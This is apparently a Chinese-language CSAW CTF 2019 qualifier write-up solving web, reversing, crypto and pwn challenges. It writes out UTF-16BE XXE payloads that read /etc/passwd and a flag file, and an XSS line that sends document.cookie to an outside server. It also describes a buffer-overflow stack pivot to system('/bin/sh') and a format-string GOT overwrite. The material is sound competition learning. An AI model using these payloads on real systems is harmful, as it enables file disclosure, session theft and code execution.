---
title: CSAW CTF'19 Quals Write-up
site: https://ctf.csaw.io/challenges
tags: CTF
lang: zh_tw
---
# CSAW CTF'19 Quals Write-up
[TOC]


## Web
### unagi
#### 線索
以下是黑箱測試出來的一些線索:
- 副檔名限制
- 禁止上傳 txt
- 可以上傳副檔名為 xml 的文件
- pattern 限制
- 禁止文件中出現
- php
- ENTITY
- SYSTEM
- file
- 文件中可以出現
- txt
- SYsTEM
- ENtITY
- fiLe
- &
- XXE (XML External Entity)
#### 可能解法
1. 上傳文件會顯示在畫面上, 試著 XSS, 或塞入 php 指令
2. XXE, 為了閃過被限制 pattern, 可嘗試改編碼 UTF-16 看看
#### 可能有幫助文章
1. [DevOops — An XML External Entity (XXE) HackTheBox Walkthrough](https://medium.com/bugbountywriteup/devoops-an-xml-external-entity-xxe-hackthebox-walkthrough-fb5ba03aaaa2)
2. [Evil XML with two encodings](https://mohemiv.com/all/evil-xml-with-two-encodings)
#### Write-up
使用 可能解法2 成功的將 /etc/passwd leak 出來了
測試方式是創造一個 xml, 裡面內容長這樣
```xml
<?xml version="1.0" encoding="UTF-16BE"?>
<!DOCTYPE lol [
<!ENTITY yeee SYSTEM "file:////etc/passwd" >
]>
<users>
<user>
<username>LJP</username>
<password>passwd12</password>
<name>GG</name>
<email>alice2@fakesite.com</email>
<group>&yeee;</group>
</user>
</users>
```
從 Line 1 的 "UTF-16BE" 後就開始用 UTF-16BE 編碼

頁面顯示

確定這招可行, 再來試試看 leak 出 flag.txt
```xml
<?xml version="1.0" encoding="UTF-16BE"?>
<!DOCTYPE lol [
<!ENTITY yeee SYSTEM "file:////flag.txt" >
]>
<users>
<user>
<username>LJP</username>
<password>passwd12</password>
<name>GG</name>
<email>alice2@fakesite.com</email>
<group>&yeee;</group>
</user>
</users>
```
結果顯示

而這不是 flag @@
後來測試了一下, 似乎是輸出不夠長
要怎麼輸出更長勒?
此時突然想到, 或許是這個欄位的輸出長短就長這樣
往 user.php 看

那個 intro 欄位似乎可以塞很長的東西喔
測試以下 xml
```xml
<users>
<user>
<name>aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa</name>
<group>aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa</group>
<intro>aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa</intro>
</user>
</users>
```
name, group, intro 的欄位都給超長, 結果如下

還真的是這個問題
立馬改欄位
```xml
<?xml version="1.0" encoding="UTF-16BE"?>
<!DOCTYPE lol [
<!ENTITY yeee SYSTEM "file:////flag.txt" >
]>
<users>
<user>
<intro>&yeee;</intro>
</user>
</users>
```

flag 到手
#### Tools
- [convert-utf8-to-utf16](https://onlineutf8tools.com/convert-utf8-to-utf16)
- Hex Editor Neo
### babycsp
這題沒解出來ㄛ QQ
#### 思路
裡面可以 po 東西
且設定 CSP 規則為
```
default-src 'self';
script-src 'self' *.google.com;
connect-src *
```
感覺可以利用 `connect-src *`, 只要 po 一個 img 類似下面
```htmlmixed=
<img src=x onerror=this.src='http://myserver/?c='+document.cookie>
```
並且 report to admin
就可以偷到 admin 的 cookie ㄌ
或是利用 `script-src 'self' *.google.com`
能用 google 提供的各種功能
讓我寫一個 JS 存在 google 中
接著再 include 這個 JS, 也是可以 run 起來
## Reverse
### gibberish_check
#### 觀察
這題提供 gibberish_check ELF 程式
要求解題者 nc rev.chal.csaw.io 1000
首先我是以 radare2 來看
看了一下後想用 gdb 動態分析一下, 發現 gdb run 不起來
原因應該是 0x1be1, 本文以下用 analyser detector 代稱

程式流程會先到 0x1540 (可由 ELF Header 得知)
經過 \_\_libc\_start\_main 後會進到 0x1d98, 本文以下用 main 代稱
main 會先 call analyser detector 來防禦逆向工程
這邊我繞過的手段就是爆改 OP code, 強行改成 NOP (0x90)
直接不 call analyser detector
```shell
# 使用 radare2 開啟
r2 gibberish_check
# 跑分析
[0x00001540]> aa
# 跳轉到 main
[0x00001540]> s main
# 秀出視覺圖
[0x00001d98]> VV
```
稍微往下看, 可以看到原 main 是 call analyser detector(0x1be1)

現在來爆改
```shell
# 不要改到原本程式, 複製一個新的粗乃玩
cp gibberish_check gibberish_check_nop
vi gibberish_check_nop
```
下 vi 的 command `:%!xxd` 變成 heximal


將對應的 opcode 改為 NOP (0x90)

0x1db7 的 call, opcode 為 e825feffff
vim 上可以找到對應的 opcode

改成 0x90

轉回 bytes, 下 vim 指令 `:%!xxd -r`, 並且存檔離開
再用 r2 來看對應的 code

OK 變成 NOP 了, 回來測試 gdb 能否使用

Bang~ 在等我輸入, 可以使用了
此時按下 ctrl + c 就可以中斷在等輸入的指令ㄌ

在 radare2 上找到對應的點 0x00002583

剛剛輸入的文字存放的位址就在 **rbp-0x3d0**
像是這次的執行, rbp 為 0x7fffffffddc0
0x7fffffffddc0 - 0x3d0 = 0x7fffffffd9f0

我輸入的文字為 aaaabbbb

這邊先擱著
我們改從後面看回來, 避免看不需看的東西
main 的最後面長醬子

0x26ce 是我們要去的 block
0x26da 是會輸出 `Wrong D:` 的 block
要往 0x26ce, 前面的 0x26c2 的 cmp 就要一樣
0x26c2 之前的 block 長這樣

0x164a 的頭 1 byte 要跟 0xcc 一樣才行
那又是什麼決定了 0x164a 放啥
繼續往前一個 block 看

0x2694 這 block 若最後是 false, 就會迴圈
先看一下 0x306c 在幹嘛

ok, 再接著看 0x3ad0

後來發現 0x25bd 中
RSI 都固定在一個 04f0 結尾的 address
RDI 則是從 01b0 結尾的 address 開始一次 +20 的跳
總是固定會 loop 了 26 次後迴圈結束
那肯定是 loop 中的東西在作怪
需要注意的事情有
1. 哪裡 +20 了 rbp-0x408 的值 形成這個 loop
2. 每 1 round 對於 0x164a 有影響什麼嗎
可以看到這個大 loop 長這樣

中間 symbol name 太長 沒辦法全部截圖下來
不過若只關注不是 lib 的東西的話, 只有三個 call
1. 0x30c8, 參數為 rbp-0x408
2. 0x164a, 參數為 rbp-0x390, rbp-0x370, 回傳值會被加到 rbp-0x40c
3. 0x30a8, 參數為 rbp-0x408
#### 0x30c8

#### 0x164a
這咚咚就很大了
```shell
# 做更多分析, 才能跑視覺圖出來
[0x0000164a]> aaa
# 跑視覺圖
[0x0000164a]> VV
```
這裡面還 call 了一大坨 functions...
只能逐一攻破了吧 不然還能怎樣QQ
0x164a 這 block call 了
1. 0x2b52, 參數為 rbp-0x78
2. 0x2a6c, 參數為 rbp-0x80
3. 0x2aa4, 參數為 rbp-0x30, [rbp-0x88]+1, rbp-0x50, rbp-0x80
4. 0x2b8a, 參數為 rpb-0x70, [rbp-0x84]+1, rbp-0x30, rbp-0x78
5. 0x2b0e, 參數為 rbp-0x30
6. 0x2a88, 參數為 rbp-0x80
7. 0x2b6e, 參數為 rbp-0x78
8. 0x2c38, 參數為 rbp-0x50
9. 0x2c38, 參數為 rbp-0x30
最後比較了 rbp-0x88 是否為 0
接著來看各個 function
- 0x2b52


- 0x2a6c


- 0x2aa4

怎感覺到目前為止 都是各種混淆啊
#### 0x30a8

這邊就是做 "+20 了 rbp-0x408 的值" 的 code
#### 小結論
分析到這邊, 突然好像覺得不對耶
一堆不知道用來幹嘛的 code
該不會大部分的東西都是在混淆吧
回頭看了 0x2694 block, 這 block 有跟沒有一樣
終究是跳到 0x26c2 的
關鍵還是在 0x26c2 中 rbp-0x40c 要為 0x1f9
而影響到 rbp-0x40c 的 code 分別為
- 0x23a6 的 `mov dword [var_40ch], 0` 設定了初值
- 0x25de 迴圈中的 `add dword [var_40ch], eax`
其中 eax 的值為 call 完 0x164a 的回傳值
所以現在應該 focus 在 0x164a 怎麼決定回傳值
並利用會執行迴圈 26 次, 湊出 0x1f9
#### ㄜ 通靈
觀察到 26 行字串
```=
dqzkenxmpsdoe_qkihmd
jffglzbo_zghqpnqqfjs
kdwx_vl_rnesamuxugap
ozntzohegxagreedxukr
xujaowgbjjhydjmmtapo
pwbzgymqvpmznoanomzx
qaqhrjofhfiuyt_okwxn
a_anqkczwbydtdwwbjwi
zoljafyuxinnvkxsskdu
irdlddjjokwtpbrrr_yj
cecckcvaltzejskg_qrc
vlpwstrhtcpxxnbbcbhv
spirysagnyujbqfhldsk
bcyqbikpuhlwordznpth
_xkiiusddvvicipuzyna
wsxyupdsqatrkzgawzbt
ybg_wmftbdcvlhhidril
ryvmngilaqkbsyojgify
mvefjqtxzmxf_vcyhelf
hjhofxwrk_rpwli_mxv_
enupmannieqqzcyevs_w
uhmvvb_cfgjkggjpavub
gktdphqiswomuwzvjtog
lgoehepwclbaifvtfoeq
nm_uxrukmof_fxsfpcqz
ttsbclzyyuslmutcylcm
```
嘔乾, 然後我好像不小心通靈成功
似乎是算輸入字串跟這26個字串的 "萊文斯坦距離"
總距離加起來是 0x1f9 可能就可以過了吧?!
不過就算知道如此, 似乎也還是很難算出來
不過好像很好撞出來
因為 0x1f9 = 505
每個字串長度為 20, 共有 26 個字串
若我一個完全一模一樣的字串輸入下去
比如說 `dqzkenxmpsdoe_qkihmd`
他跟自己的距離是 0, 跟其他字串距離 <= 20
這樣加起來 其實離答案相去不遠
於是我寫了個腳本 方便自己去撞出答案
~~雖然最終還是通過人工亂撞就是了~~
詳情可見 [crack.py](https://github.com/LJP-TW/CTF/blob/master/CSAW-2019/Reverse/Gibberish%20Check/crack.py)
nc 過去之後輸入答案 就有 flag 嚕~~~~
### beleaf
#### 觀察
首先用 r2 觀察到
輸入要大於 0x20 個字
根據 0x937 block

每個字元都會被傳入 0x7fa
運行結果會跟 array 0x2014e0\[index\] 比較
需要完全相同
0x2014e0 為一個元素 8bytes 的 array
內容如下

可以看到共有 33 個元素
所以我們的輸入長度應該要是 33
接著看 0x7fa 怎麼回傳值
一開始 0x7fa 回傳值初始值為 0

先做簡單錯誤判斷後
將我們的輸入跟 str.wf__ny 字元陣列做比較
若一樣則 return, 否則往 0x834 前進


可以看到 0x834 跟 0x810 差不多
不過是用比較大或是小 決定後面走向
0x201020 的文字長這樣

若輸入比目前對比的文字小
則 **回傳值\*2 + 1**
若輸入比目前對比的文字大
則 **(回傳值+1) \* 2**
如此一來大概知道怎造 payload
不過突然發現這兩張文字表
剛好就是一一取出 array 的值 湊出 flag
例如
0x002014e0 前四個元素 0x1, 0x9, 0x11, 0x27
將這些值當 index 去找 0x201020\[index\]
剛好是 flag
以此類推解這題
## Crypto
### byte_me
這題沒解出來ㄛ QQ
#### 觀察
nc 進去後會先輸出一段 byte, 長度為 32 * 3 個 hex
接著要求輸入, 並回傳 32 * 4 個 hex
每次 nc 一開始的輸出, 以及輸入後的輸出 都不相同
以下為其中一筆測資
```
d633eae7d811e2d9810f8e1a27a6f52f251ec43aacd0467f40a3b94c0734c52a3d7e1239f58970499a8e1ecc90e09a2d530eab5fa2622bf0e3c4430a849445a7
Tell me something: 0
0
99f6d5bfca3b6ae133af4f816a7bf8515bae6f0e75c31510455b78e632cf662b5da2e0dad095027760392e57c5cead38177b9d31d54efad635137c8c53ddc015
Tell me something: 1
1
a310a32750934a9e1560c548ab53f9845bae6f0e75c31510455b78e632cf662b5da2e0dad095027760392e57c5cead38177b9d31d54efad635137c8c53ddc015
Tell me something: 2
2
a135412738d43ad3b09f7fc7b77df4b15bae6f0e75c31510455b78e632cf662b5da2e0dad095027760392e57c5cead38177b9d31d54efad635137c8c53ddc015
Tell me something: 00
00
65c7d804c77bf81ed6a5cefc2971fd70e920cc9658a22936c4e06a1b95a9df6bcaff4d2e18f8fdf9136463989c78d9f990e12574636eedbb1b2d6d0be1c7a42d
Tell me something: 01
01
2288fb253abacd1e88db872c251ca573e920cc9658a22936c4e06a1b95a9df6bcaff4d2e18f8fdf9136463989c78d9f990e12574636eedbb1b2d6d0be1c7a42d
Tell me something: 02
02
8426c1cb2a0ab291d1d68032924f4520e920cc9658a22936c4e06a1b95a9df6bcaff4d2e18f8fdf9136463989c78d9f990e12574636eedbb1b2d6d0be1c7a42d
Tell me something: 000
000
d0bfc4377ced7cde03cd4a26e0c42e6af732b3e64b41beacca171a710274d871a96ff350b3d0d5416205da396032799df5d49a8d2f8bc773e2a6dffe57eb7f31
Tell me something: 001
001
f19b7cf40d72b3c8c8e32514cc54910cf732b3e64b41beacca171a710274d871a96ff350b3d0d5416205da396032799df5d49a8d2f8bc773e2a6dffe57eb7f31
Tell me something: 002
002
f1f5c2c885df10582da4dbd781ccb856f732b3e64b41beacca171a710274d871a96ff350b3d0d5416205da396032799df5d49a8d2f8bc773e2a6dffe57eb7f31
Tell me something: 0000
0000
cb27e160d1125efa8ab7bcde05e4a1d22ae8901f6bfecf3f0440a9161f78698413d6b3c3e666dbcd5bbc4fe3224a8a13d4194872bd0590a7c88b5a49989ccb9a
Tell me something: 0001
0001
c67b544d48bda7067b98c7bd95eee2632ae8901f6bfecf3f0440a9161f78698413d6b3c3e666dbcd5bbc4fe3224a8a13d4194872bd0590a7c88b5a49989ccb9a
Tell me something: 0002
0002
9e96bd3b0978ca078a7d4aada1c3b8b82ae8901f6bfecf3f0440a9161f78698413d6b3c3e666dbcd5bbc4fe3224a8a13d4194872bd0590a7c88b5a49989ccb9a
Tell me something: 0003
0003
2f569f466cb1d5bf493afdf54b0459db2ae8901f6bfecf3f0440a9161f78698413d6b3c3e666dbcd5bbc4fe3224a8a13d4194872bd0590a7c88b5a49989ccb9a
Tell me something: 1111
1111
290c886970993adab565a6664a36adf62ae8901f6bfecf3f0440a9161f78698413d6b3c3e666dbcd5bbc4fe3224a8a13d4194872bd0590a7c88b5a49989ccb9a
```
做一下簡易分段, 好像有邏輯可循
```
d633eae7d811e2d9810f8e1a27a6f52f 251ec43aacd0467f40a3b94c0734c52a3d7e1239f58970499a8e1ecc90e09a2d530eab5fa2622bf0e3c4430a849445a7
Tell me something: 0
0
99f6d5bfca3b6ae133af4f816a7bf851 5bae6f0e75c31510455b78e632cf662b5da2e0dad095027760392e57c5cead38177b9d31d54efad635137c8c53ddc015
Tell me something: 1
1
a310a32750934a9e1560c548ab53f984 5bae6f0e75c31510455b78e632cf662b5da2e0dad095027760392e57c5cead38177b9d31d54efad635137c8c53ddc015
Tell me something: 2
2
a135412738d43ad3b09f7fc7b77df4b1 5bae6f0e75c31510455b78e632cf662b5da2e0dad095027760392e57c5cead38177b9d31d54efad635137c8c53ddc015
Tell me something: 00
00
65c7d804c77bf81ed6a5cefc2971fd70 e920cc9658a22936c4e06a1b95a9df6bcaff4d2e18f8fdf9136463989c78d9f990e12574636eedbb1b2d6d0be1c7a42d
Tell me something: 01
01
2288fb253abacd1e88db872c251ca573 e920cc9658a22936c4e06a1b95a9df6bcaff4d2e18f8fdf9136463989c78d9f990e12574636eedbb1b2d6d0be1c7a42d
Tell me something: 02
02
8426c1cb2a0ab291d1d68032924f4520 e920cc9658a22936c4e06a1b95a9df6bcaff4d2e18f8fdf9136463989c78d9f990e12574636eedbb1b2d6d0be1c7a42d
Tell me something: 000
000
d0bfc4377ced7cde03cd4a26e0c42e6a f732b3e64b41beacca171a710274d871a96ff350b3d0d5416205da396032799df5d49a8d2f8bc773e2a6dffe57eb7f31
Tell me something: 001
001
f19b7cf40d72b3c8c8e32514cc54910c f732b3e64b41beacca171a710274d871a96ff350b3d0d5416205da396032799df5d49a8d2f8bc773e2a6dffe57eb7f31
Tell me something: 002
002
f1f5c2c885df10582da4dbd781ccb856 f732b3e64b41beacca171a710274d871a96ff350b3d0d5416205da396032799df5d49a8d2f8bc773e2a6dffe57eb7f31
Tell me something: 0000
0000
cb27e160d1125efa8ab7bcde05e4a1d2 2ae8901f6bfecf3f0440a9161f78698413d6b3c3e666dbcd5bbc4fe3224a8a13d4194872bd0590a7c88b5a49989ccb9a
Tell me something: 0001
0001
c67b544d48bda7067b98c7bd95eee263 2ae8901f6bfecf3f0440a9161f78698413d6b3c3e666dbcd5bbc4fe3224a8a13d4194872bd0590a7c88b5a49989ccb9a
Tell me something: 0002
0002
9e96bd3b0978ca078a7d4aada1c3b8b8 2ae8901f6bfecf3f0440a9161f78698413d6b3c3e666dbcd5bbc4fe3224a8a13d4194872bd0590a7c88b5a49989ccb9a
Tell me something: 0003
0003
2f569f466cb1d5bf493afdf54b0459db 2ae8901f6bfecf3f0440a9161f78698413d6b3c3e666dbcd5bbc4fe3224a8a13d4194872bd0590a7c88b5a49989ccb9a
Tell me something: 1111
1111
290c886970993adab565a6664a36adf6 2ae8901f6bfecf3f0440a9161f78698413d6b3c3e666dbcd5bbc4fe3224a8a13d4194872bd0590a7c88b5a49989ccb9a
```
32 個 hex, 很直覺的聯想到 MD5
另一個感覺是跟 xor 也有關係
突然又想到亂試一個, 好像被我抓到方向
```
b5808099b860d6f637dda426a5e627b49de5a8570ca6192854102485f46e117efa8e2311968292d281cd046fc22f75086abcf2e0af3b3862cdc8b02ac7a68b99
Tell me something: flag{
flag{
b5808099b860d6f637dda426a5e627b4d7c18c10938fa4f88cfdcd2e12ac7adcdd4c3c8d672cc5d846f38ecfbbbc7b876f62e48721688a81914e1831802cc461
```
可是重新 nc 一遍後再輸入一次 `flag{` 前面就又不一樣了 @@
## Pwn
### baby_boi
一開始 target 就 output printf 位址
送一波 lib base address
就可以算 system() 的位址
注意到 main 的尾巴

有個 gets 送 buffer overflow, 可控 RBP, RIP
這個 gets 還有一個特別處, 就是用 RBP 來決定 gets 到哪
攻擊策略差不多就可以擬定了
就是 return 到 0x400717, 因為我可控 RBP
配合這個由 RBP 決定存到哪的 gets
任何位址 只要 memory segment 可寫 我都能寫入的
先寫第一個 payload
目的是將 RBP 改成 gets@plt, RIP 改到 0x400717
第二次 call 到 gets 就會將輸入寫到 gets@plt
第二次的 payload 的目的是
1. 覆蓋 gets@plt, 改成 system()
2. 再一次利用 buffer overflow 控制 RBP, RIP
3. RBP 控制成 '/bin/sh' 的位址 + 0x20
4. RIP 控制成 0x400717
如此一來, '/bin/sh' 的位址就會變成 system() 的參數
變成 system("/bin/sh") 爽啦
但在這個過程中, 發現 RSP 若完全不鳥, 會太小
導致 RSP 進到不可寫入的 memory segment, 進而出 bug
所以第二次的 payload 還需要想辦法讓 RSP 變大
修正後, 第二次 payload 結構如下:
1. system 位址 (覆蓋掉 gets@plt)
2. padding (for buffer overflow)
3. newRSP, 一個數值夠大的位址, 裡頭的值為 '/bin/sh' 的位址 + 0x20
4. main 中 leave 的位址
leave 實際做了 mov rsp, rbp; pop rbp
等等 RBP 會先變成 newRSP 中的數值, RIP 會跳到 leave
再執行 leave 後, rsp 就變成了 RBP 也就是 newRSP 的值
並且會從 newRSP 中 pop 出一個值存到 RBP
這個設計中 RBP 最後會變成 '/bin/sh' 的位址 + 0x20
經過 0x400717 後, RBP 會變成 '/bin/sh' 的位址
成為了完美的 system 的參數
5. padding, 只是為了讓 RSP 大一點
6. '/bin/sh' 存放的位址
7. 跳轉到 leave 那次的 return address, 跳到 0x400717
這次就是實際 call system('/bin/sh') 囉~
8. '/bin/sh'
艾呀~ Pwn 的 write-up 真的都很難解釋
不如直接自己架設題目, 在 [exploit.py](https://github.com/LJP-TW/CTF/blob/master/CSAW-2019/Pwn/baby_boi/exploit.py) 送 payload 前加 raw_input() 設個人工斷點, 讓你有時間 gdb attach 這個 process, 一步一步解析
比較清楚的啦~
### GOT Milk?
這題給的 ELF 要連結官方給的 `libmylib.so`
首先將 `libmylib.so` 複製一份到 /lib 底下即可
觀察了一下, 發現主要是 call 到這個 lib 裡頭的 lose function
用 radare2 看看 `libmylib.so`
```
# 先運行分析
[0x00001090]> aaa
# 移動到 lose function
[0x00001090]> s sym.lose
# 秀出視覺圖
[0x000011f8]> VV
```

有 lose 就有 win, win 的 code 向較之下長了一點

然後, 有個 call win 永遠不會被執行到, 可疑到爆

看了一下 memory mapping, lose 的 memory 區間可執行不可寫

#### format string vuln
輸入的字串會直接當作下下個 printf 的參數
boom, 弱點產生
#### Write-up
乾 我想的複雜了 = =
先直接寫最後的解法
用 radare2 查看 `libmylib.so`
找到 lose() 跟 win() 的 address
再看看 memory mapping
發現只有最後 1 byte 不會被 mapping 亂掉
剛好 lose() 跟 win() 的 address 只差在最後 1 byte

題目剛好又先 call 了一次 lose@plt 讓 resolver 填好了 GOT
可以利用一次 formatting string vuln 改 GOT 最後 1 byte 改成 win()
最後的 lose@plt 就會改去執行 win()
easy = = 詳情看 [exploit2.py](https://github.com/LJP-TW/CTF/blob/master/CSAW-2019/Pwn/GOT%20Milk/exploit2.py)
好來講複雜解, 最後只有在本機上成功, 打官方站台失敗
先利用 formatting string vuln 將 lose@plt 的 GOT 改成 call fgets() 之前的 address
以達到可以再利用一次 formatting string vuln
同時, 可以 leak 出 lib 的 memory address
第二次 formatting string 時, 已經知道 lib 位置
就能精準控制 GOT 跳轉到任意我們想要的 lib function
可以看到這個解法需要利用兩次 formatting string
~~又臭又長又不知道為何不能成功虧我造這麼久 在 localhost 上還成功 = =~~